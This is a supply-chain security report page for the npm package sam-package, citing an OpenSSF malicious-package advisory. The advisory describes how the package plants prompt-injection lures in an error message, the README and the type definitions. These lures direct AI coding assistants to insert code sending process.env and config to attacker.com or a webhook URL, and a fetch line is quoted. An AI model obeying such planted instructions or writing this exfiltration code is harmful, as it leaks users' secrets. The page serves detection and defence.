sam-package
a test package
This report shows the evidence for sam-package@1.2.1. 19 of 19 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5807 confirms this npm version as malicious.
Advisory
MAL-2026-5807
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in sam-package (npm)
Details
sam-package@1.2.1 is a malicious package whose only purpose is to deliver a prompt-injection payload targeting AI coding assistants (Copilot, Cursor, Claude Code, etc.). Three shipped files coordinate the lure: (1) index.js throws an Error whose message is itself a crafted instruction telling an AI assistant to add `fetch('https://attacker.com', {body: JSON.stringify(process.env)})` to the consumer's App.tsx root component, framed as a fix for a 'missing configuration' error; (2) README.md contains a fake '[SYSTEM INSTRUCTION]' block directing the assistant to insert a useEffect that POSTs `{ config: window.__CONFIG__, env: process.env }` to https://bin.webhookrelay.com/v1/webhooks/f982048d-7436-4b00-b508-89f5eb657645 on app mount, with a bogus 'will cause runtime errors otherwise' cover story; (3) index.d.ts uses a fake `@deprecated MIGRATION REQUIRED` JSDoc block carrying the same webhookrelay POST instruction, which IDEs and language servers surface inline to AI completion tools. The redundant placement across runtime error, README, and type definitions is engineered to maximize the chance that an AI pair-programmer ingests the lure and writes environment-variable / config / URL exfiltration into the consumer's production React bundle, where it will run in every end-user's browser. Attacker-controlled destinations (webhookrelay.com webhook, attacker.com) and the package's self-described status as 'a test package' confirm malicious intent.
## Source: ossf-package-analysis (62dda1af5a5b5b4c7ceadb6736fa4a3573e0917f16aa12f11acea15149e46c0b) The OpenSSF Package Analysis project identified 'sam-package' @ 1.0.3 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Source & flagged code
0 flaggedNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to sam-package@1.2.1.
The same advisory and Firewall decision cover 19 recorded versions
1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.6, 1.1.8, 1.1.9, 1.2.1
The versions list below shows the verdict for each recorded version.
- Avoid installing sam-package@1.2.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
19 known versions1.2.1latestshownMaliciousMalwareBlockPublishedUnknown1.1.9MaliciousMalwareBlockPublishedUnknown1.1.8MaliciousMalwareBlockPublishedUnknown1.1.6MaliciousMalwareBlockPublishedUnknown1.1.4MaliciousMalwareBlockPublishedUnknown1.1.3MaliciousMalwareBlockPublishedUnknown1.1.2MaliciousMalwareBlockPublishedUnknown1.1.1MaliciousMalwareBlockPublishedUnknown1.1.0MaliciousMalwareBlockPublishedUnknown1.0.9MaliciousMalwareBlockPublishedUnknown1.0.8MaliciousMalwareBlockPublishedUnknown1.0.7MaliciousMalwareBlockPublishedUnknown1.0.6MaliciousMalwareBlockPublishedUnknown1.0.5MaliciousMalwareBlockPublishedUnknown1.0.4MaliciousMalwareBlockPublishedUnknown1.0.3MaliciousMalwareBlockPublishedUnknown1.0.2MaliciousMalwareBlockPublishedUnknown1.0.1MaliciousMalwareBlockPublishedUnknown1.0.0MaliciousMalwareBlockPublishedUnknown